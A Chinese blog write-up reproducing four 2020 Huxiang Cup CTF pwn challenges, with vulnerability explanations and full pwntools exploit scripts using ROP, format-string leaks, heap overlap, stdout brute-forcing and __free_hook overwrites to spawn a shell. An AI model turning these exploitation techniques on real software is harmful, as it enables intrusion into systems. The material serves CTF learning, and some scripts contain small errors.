zoukankan      html  css  js  c++  java
  • 2020湖湘杯复现

    虽然没打,但是还是根据师傅们的博客复现一波

    参考链接:
    https://fmyy.pro/2020/11/02/Competition/湖湘杯2020/
    https://www.anquanke.com/post/id/221334

    printf_pwn

    暂时不理解为什么输入0x20就能直接进入栈溢出的函数,先记录下吧,改天复现学习一下google ctf

    from pwn import *
    
    local = 1
    
    binary = "./main"
    libc_path = './libc-2.23.so'
    # port = ""
    
    if local == 1:
    	p = process(binary)
    
    def dbg():
    	context.log_level = 'debug'
    
    context.terminal = ['tmux','splitw','-h']
    
    for i in range(16):
    	p.sendline(str(0x20))
    
    def leak_libc(addr):
    	global libc_base,__malloc_hook,__free_hook,system,binsh_addr,_IO_2_1_stdout_
    	libc = ELF(libc_path)
    	libc_base = addr - libc.sym['puts']
    	print "[*] libc base:",hex(libc_base)
    	__malloc_hook = libc_base + libc.sym['__malloc_hook']
    	system = libc_base + libc.sym['system']
    	binsh_addr = libc_base + libc.search('/bin/sh').next()
    	__free_hook = libc_base + libc.sym['__free_hook']
    	_IO_2_1_stdout_ = libc_base + libc.sym['_IO_2_1_stdout_']
    
    elf = ELF(binary)
    puts_plt = elf.plt['puts']
    puts_got = elf.got['puts']
    read_addr = elf.plt['read']
    pop_rdi_ret = 0x0000000000401213
    vul = 0x40117F
    # vul = 0x4007D4
    
    '''
    0x0000000000401213 : pop rdi ; ret
    '''
    
    payload = 0x8 * 'a' + p64(pop_rdi_ret) + p64(puts_got) + p64(puts_plt) + p64(vul) + p64(puts_plt)
    print "[*] payload len:",hex(len(payload))
    p.send(payload)
    
    puts_addr = u64(p.recvuntil('x7f')[-6:].ljust(8,'x00'))
    leak_libc(puts_addr)
    
    payload = 0x8 * 'a' + p64(pop_rdi_ret) + p64(one_gadget) + p64(binsh_addr) + p64(system) + p64(0xdeadbeef)
    p.send(payload)
    
    p.interactive()
    

    blend_pwn

    我愿称之为三洞合一
    格式化字符串漏洞,栈溢出,UAF
    看了师傅们的博客才知道题目原型在2017年的一道题目,利用手法很巧妙

    这里是利用C++的异常处理,抛出了一个异常,异常的名字很怪,可以在bss段中看到它。这里存在一个栈溢出的漏洞,可以溢出0x8字节,也就是可以直接覆盖rbp。但是程序开启了一个Canary的保护,那么漏洞利用的主要就在于异常处理了。先是通过_cxa_allocate_exception分配了一个0x90大小的堆块,然后在申请的空间中赋了字符串的值。这里在调试的时候发现其调用了bss段中的函数指针,一开始的想法就是修改这个指针,但是没有办法利用UAF。后面就是通过_cxa_throw函数抛出异常的过程了,这个时候查到了原型题目,发现main函数中存在try catch的捕捉异常的结构,当抛出异常的时候就能直接被main函数捕捉到之后就会进入catch,这个时候rbp就会变成main函数的ebp,异常处理结束之后直接leave,ret了,并没有检查canary的值。

    所以思路就是在堆上布置一个one_gadget作为返回地址,然后利用gift函数栈迁移到堆上,最后执行ret指令getshell
    总结:
    栈溢出作用:栈迁移到堆上
    UAF作用:泄漏堆地址(该题只能add两次)
    格式化字符串作用:泄漏libc

    from pwn import *
    
    local = 1
    
    binary = "./blend_pwn"
    libc_path = './libc-2.23.so'
    # port = ""
    
    if local == 1:
    	p = process(binary)
    
    def dbg():
    	context.log_level = 'debug'
    
    context.terminal = ['tmux','splitw','-h']
    
    def name(name):
    	p.sendlineafter('Please enter a name:',name)
    
    def format():
    	p.sendlineafter('Enter your choice >','1')
    
    def add(content):
    	p.sendlineafter('Enter your choice >','2')
    	p.sendafter('input note:',content)
    
    def free(index):
    	p.sendlineafter('Enter your choice >','3')
    	p.sendlineafter('index>',str(index))
    
    def show():
    	p.sendlineafter('Enter your choice >','4')
    
    def gift(payload):
    	p.sendlineafter('Enter your choice >','666')
    	p.sendafter('Please input what you want:',payload)
    
    def leak_libc(addr):
    	global libc_base,__malloc_hook,__free_hook,system,binsh_addr,_IO_2_1_stdout_
    	libc = ELF(libc_path)
    	libc_base = addr - libc.sym['__libc_start_main']
    	print "[*] libc base:",hex(libc_base)
    	__malloc_hook = libc_base + libc.sym['__malloc_hook']
    	system = libc_base + libc.sym['system']
    	binsh_addr = libc_base + libc.search('/bin/sh').next()
    	__free_hook = libc_base + libc.sym['__free_hook']
    	_IO_2_1_stdout_ = libc_base + libc.sym['_IO_2_1_stdout_']
    
    name('%11$p
    ')
    format()
    # __libc_start_main = u64(p.recvuntil('x7f')[-6:].ljust(8,'x00')) - 240
    p.recvuntil('0x')
    __libc_start_main = int(p.recv(12),16) - 240
    leak_libc(__libc_start_main)
    
    one_gadget = libc_base + 0x4526a
    rop = p64(0) * 4 + p64(one_gadget)
    add(rop + '
    ')	#0
    add(rop + '
    ')	#1
    
    free(0)
    free(1)
    show()
    p.recvuntil('index 2:')
    heap_addr = u64(p.recv(6).ljust(8,'x00'))
    print "[*] heap:",hex(heap_addr)
    
    fake_rbp = heap_addr + 0x28	  # one_gadget - 0x8
    payload = p64(0) * 4 + p64(fake_rbp)
    gift(payload)
    
    # gdb.attach(p)
    p.interactive()
    

    only_add

    我晕了,阴间题目复现了一整天才出来,调试快把眼睛调瞎了,这个必须好好记录一下,wtcllllllll,orz
    这波啊,这波是堆风水

    逆向与漏洞分析


    这个程序只允许add,没有free,但是申请堆块的时候用的是realloc函数
    realloc(0) 相当于一个free操作,而且当我们realloc的size小于之前的size的时候相当于对chunk进行一个切割操作,然后将剩下的chunk给free掉

    第二个功能就是调用close函数关闭标准输出流

    漏洞点在于add功能里面的一个很明显的off-by-one漏洞,可以构造重叠的堆块来打
    但是构造就比较麻烦,需要对堆块进行布局,下面详细记录一下

    把眼睛看瞎的调试过程

    首先要泄漏地址这是没得说的,思路就是爆破_IO_2_1_stdout_,但是要分配到那里去,必须要有一个指向main_arena附近的堆指针
    考虑unsorted bin,这样我们利用realloc size < prev size的特点来逐步填充tcache bin
    我按照安全客上那个大师傅写的exp没有打通,在清掉buf之后的内容自己又写了一遍,自己的是可以打通的,但是前面的堆布局是按照师傅的博客写的,布局太精妙了,总之wtcl,周四或周五自己再想一种新的布局吧

    malloc_size = 0x4f0
    for i in range(6):
    	add(malloc_size,'a)
    	add(0x80,'a')
    	delete()
    add(malloc_size,'1')
    add(0xa8,'1')
    delete()
    add(malloc_size)
    add(0x80)
    delete()
    

    目前的堆布局是这样的


    在这伪造一个0xb0大小的堆块是为了后续构造overlap chunk来做个准备

    第二步是来构造三个0x30大小左右的chunk,然后来做堆重叠,方便覆盖fd pointer

    add(malloc_size)
    add(0x28)
    delete()
    
    add(malloc_size)
    add(0x28)
    delete()
    
    add(malloc_size)
    add(0x48)
    delete()
    
    add(malloc_size)
    add(0x28)
    


    第三步就是来生成unsorted,然后利用之前的0xb0大小的chunk来做一个off-by-one,利用下面几个小chunk来做

    add(0x3c0)
    add(0x80)
    delete()
    
    add(0xa8, b"a" * 0xa8 + b'xf1')
    

    成功溢出,将一个为0x90大小的chunk的size给改了

    第四步来将刚才改掉的0x90大小的chunk给申请过来,然后free掉,让其进入0xf0大小的tcache bin中

    add(0x88)
    delete()
    


    这时该chunk的空间布局是这样的

    然后干这样的事情,改一下堆布局,就成这样了

    add(0xe8, b"a" * 0x98 + p64(0x21) + b"x00" * 0x18 + p64(0x21) + b"xe0")
    

    完成堆重叠,能够控制unsorted bin了

    delete()
    
    add(0x48, b"a" * 0x48 + b"xc1")
    delete()
    

    add(0x28)
    delete()
    
    stdout = 0xa760
    add(0xb8, b"a" * 0x28 + p64(0x91) + p16(stdout))
    delete()
    

    成功踩掉后两个字节,倒数第四位需要爆破,1/16的概率

    第五步来爆破标准输出流,爆破成功后是这样的,所以这样写

    delete()
    add(0x28)
    delete()
    add(0x28)
    delete()
    # dbg()
    add(0x28, p64(0xfbad2887 | 0x1000) + p64(0) * 3 + b"x00")
    p.recvuntil(p64(0xfbad2887 | 0x1000), timeout = 0.5 )
    p.recv(0x18)
    leak = u64(p.recv(8)) + 0x60
    leak_libc(leak)
    log.success("libc address is {}".format(hex(libc_base)))
    

    最后一步先调用close函数清掉buf缓冲区(因为IO那个fake chunk不满足free的要求)
    然后利用重叠的chunk来打__free_hook,最后重定位一下即可,值得一提的是后面没有按照安全客那个博客写,因为感觉他写的是错的,本地也没打通

    close_stdout()
    p.recvuntil("Bye
    ")
    
    __free_hook = libc_base + libc.sym['__free_hook']
    system_addr = libc_base + libc.sym['system']
    
    add_without(0x38)
    delete_without()
    
    payload = p64(0) * 5 + p64(0x51) + p64(__free_hook - 0x18)
    add_without(0xb0,payload)
    delete_without()
    
    add_without(0x38)
    delete_without()
    
    payload2 = b"whoami 1>&2".ljust(0x18, b"x00") + p64(system_addr) + b"
    "
    add_without(0x38, payload2)
    delete_without()
    

    最后效果可以看到成功执行命令whoami

    完整exp

    from pwn import *
    
    local = 1
    
    '''
    author: lemon
    time: 2020-11-11
    libc: libc-2.28.so
    python version: 3.7
    '''
    
    binary = "./main"
    libc_path = './libc-2.28.so'
    libc = ELF(libc_path)
    
    if local == 1:
    	p = process(binary)
    
    def dbg():
    	context.log_level = 'debug'
    
    context.terminal = ['tmux','splitw','-h']
    
    def add(size,content = 'a'):
    	p.sendlineafter('choice:','1')
    	p.sendlineafter('Size:',str(size))
    	p.sendafter('Data:',content)
    
    def delete():
        p.sendlineafter("choice:", "1")
        p.sendlineafter("Size:", str(0))
    
    def close_stdout():
    	p.sendlineafter("choice:", "2")
    
    def add_without(size, content=b"
    "):
    	p.sendline("1")
    	sleep(0.1)
    	p.sendline(str(size))
    	sleep(0.1)
    	p.send(content)
    	sleep(0.1)
    
    def delete_without():
    	p.sendline("1")
    	sleep(0.1)
    	p.sendline(str(0))
    	sleep(0.1)
    
    def leak_libc(addr):
    	global libc_base,__malloc_hook,__free_hook,system,binsh_addr,_IO_2_1_stdout_
    	libc = ELF(libc_path)
    	libc_base = addr - libc.sym['_IO_2_1_stdout_']
    	print ("[*] libc base:",hex(libc_base))
    	__malloc_hook = libc_base + libc.sym['__malloc_hook']
    	system = libc_base + libc.sym['system']
    	binsh_addr = libc_base + libc.search(b'/bin/sh').__next__()
    	__free_hook = libc_base + libc.sym['__free_hook']
    	_IO_2_1_stdout_ = libc_base + libc.sym['_IO_2_1_stdout_']
    
    while True:
    	p = process(binary)
    	try:
    		malloc_size = 0x4f0
    		for i in range(6):
    			add(malloc_size,'a')
    			add(0x80,'a')
    			delete()
    		
    		add(malloc_size,'1')
    		add(0xa8,'1')
    		delete()
    		
    		add(malloc_size)
    		add(0x80)
    		delete()
    		
    		add(malloc_size)
    		add(0x28)
    		delete()
    		
    		add(malloc_size)
    		add(0x28)
    		delete()
    		
    		add(malloc_size)
    		add(0x48)
    		delete()
    		
    		add(malloc_size)
    		add(0x28)
    		delete()
    		
    		log.success("free unsorted bin chunk")
    		add(0x3c0)
    		add(0x80)
    		delete()
    		
    		add(0xa8, b"a" * 0xa8 + b'xf1')
    		delete()
    		add(0x88)
    		delete()
    		
    		add(0xe8, b"a" * 0x98 + p64(0x21) + b"x00" * 0x18 + p64(0x21) + b"xe0")
    		delete()
    		
    		add(0x48, b"a" * 0x48 + b"xc1")
    		delete()
    		
    		add(0x28)
    		delete()
    		
    		stdout = 0xa760
    		add(0xb8, b"a" * 0x28 + p64(0x91) + p16(stdout))
    		delete()
    		add(0x28)
    		delete()
    		add(0x28)
    		delete()
    		dbg()
    		add(0x28, p64(0xfbad2887 | 0x1000) + p64(0) * 3 + b"x00")
    		p.recvuntil(p64(0xfbad2887 | 0x1000), timeout = 0.5 )
    
    		p.recv(0x18)
    		leak = u64(p.recv(8)) + 0x60
    		leak_libc(leak)
    		log.success("libc address is {}".format(hex(libc_base)))
    		
    		if libc_base > 0x800000000000:
    			p.close()
    			continue
    
    		break
    
    	except KeyboardInterrupt:
    		exit(0)
    
    close_stdout()
    p.recvuntil("Bye
    ")
    
    __free_hook = libc_base + libc.sym['__free_hook']
    system_addr = libc_base + libc.sym['system']
    
    add_without(0x38)
    delete_without()
    
    payload = p64(0) * 5 + p64(0x51) + p64(__free_hook - 0x18)
    add_without(0xb0,payload)
    delete_without()
    
    add_without(0x38)
    delete_without()
    
    payload2 = b"whoami 1>&2".ljust(0x18, b"x00") + p64(system_addr) + b"
    "
    add_without(0x38, payload2)
    delete_without()
    
    p.interactive()
    

    cat flag:

    babyheap

    虽然也有点儿堆风水的味道,但是比上面那个简单的多,也是我比赛中唯一可能做出来的了(我自己爬)
    漏洞点在off-by-null,并且只能申请0xf8大小的chunk,但是比较简单的是我们可申请的chunk非常多

    思路就是一开始整一个大的unsorted bin,然后再申请一个chunk,这样根据残留的堆指针可以leak libc_base
    然后构造chunk,利用off by null,使得两个指针指向同一个chunk,一个作为free态,一个作为可edit的allocated的chunk,然后就打freehook即可
    最后构造出来是这样的


    getshell,这个题还是挺简单的

    exp:

    from pwn import *
    
    local = 1
    
    '''
    author: lemon
    time: 2020-11-11
    libc: libc-2.28.so
    python version: 3.8.2
    '''
    
    binary = "./main"
    libc_path = './libc-2.28.so'
    # port = ""
    
    if local == 1:
    	p = process(binary)
    
    def dbg():
    	context.log_level = 'debug'
    
    context.terminal = ['tmux','splitw','-h']
    
    def add():
    	p.sendlineafter('>>','1')
    
    def show(index):
    	p.sendlineafter('>>','2')
    	p.sendlineafter('index?',str(index))
    
    def edit(index,size,content):
    	p.sendlineafter('>>','3')
    	p.sendlineafter('index?',str(index))
    	p.sendlineafter('Size:',str(size))
    	p.sendafter('',content)
    
    def free(index):
    	p.sendlineafter('>>','4')
    	p.sendlineafter('index?',str(index))
    
    def leak_libc(addr):
    	global libc_base,__malloc_hook,__free_hook,system,binsh_addr,_IO_2_1_stdout_
    	libc = ELF(libc_path)
    	libc_base = addr - libc.sym['__malloc_hook'] - 0x1f0
    	print ("[*] libc base:",hex(libc_base))
    	__malloc_hook = libc_base + libc.sym['__malloc_hook']
    	system = libc_base + libc.sym['system']
    	binsh_addr = libc_base + libc.search(b'/bin/sh').__next__()
    	__free_hook = libc_base + libc.sym['__free_hook']
    	_IO_2_1_stdout_ = libc_base + libc.sym['_IO_2_1_stdout_']
    
    for i in range(7):
    	add()
    
    add()	# 7
    add()	# 8
    add()	# 9
    
    for i in range(7):
    	free(i)
    
    free(7)
    free(8)
    
    for i in range(7):
    	add()
    
    log.success("Now , unsorted bin is 0x200, we alloca 0x100, it must has a pointer to point main_arena*")
    add()	# 7 
    
    show(7)
    leak = u64(p.recvuntil('x7f')[-6:].ljust(8,b'x00')) - 96 - 0x10
    leak_libc(leak)
    
    log.success("Now , we attack __free_hook")
    
    add()	# 8
    add()	# 10
    add()	# 11
    add()	# 12
    add()	# 13
    add()	# 14
    add()	# 15
    add()	# 16
    
    for i in range(7):
    	free(i)
    
    free(9)
    free(10)
    free(11)
    free(12)
    
    for i in range(7):
    	add()
    
    add() # 9
    add() # 10
    add() # 11
    add() # 12
    
    for i in range(7):
    	free(i)
    
    free(9)
    edit(10,0xf8,'lemon')
    free(11)
    
    for i in range(7):
    	add()
    
    add()	# 9
    add()	# 11 == 10
    
    free(10)
    
    payload = p64(__free_hook)
    edit(11,0xf0,payload)
    
    add()	# 10
    edit(10,0xf0,'/bin/sh')
    add()	# 17
    edit(17,0xf0,p64(system))
    
    free(10)
    
    # gdb.attach(p)
    p.interactive()
    
  • 相关阅读:
    2021-04-02:给定一个正方形或者长方形矩阵matrix,实现zigzag打印。[[0,1,2],[3,4,5],[6,7,8]]的打印顺序是0,1,3,6,4,2,5,7,8。
    2021-04-01:给定一个正方形矩阵matrix,原地调整成顺时针90度转动的样子。[[a,b,c],[d,e,f],[g,h,i]]变成[[g,d,a],[h,e,b],[i,f,c]]。
    2021-03-31:给定一个数组arr,给定一个值v。求子数组平均值小于等于v的最长子数组长度。
    2021-03-30:给定一个整数组成的无序数组arr,值可能正、可能负、可能0。给定一个整数值K,找到arr的所有子数组里,哪个子数组的累加和<=K,并且是长度最大的。返回其长度。
    2021-03-29:无序数组arr,子数组-1和1的数量一样多,请问最长子数组的长度是多少?
    04Null和Undefined
    03数据类型
    win10 命令行下 重启虚拟网卡
    JavaScript注释及命名规范
    第一个javascrpt代码
  • 原文地址:https://www.cnblogs.com/lemon629/p/13942291.html
Copyright © 2011-2022 走看看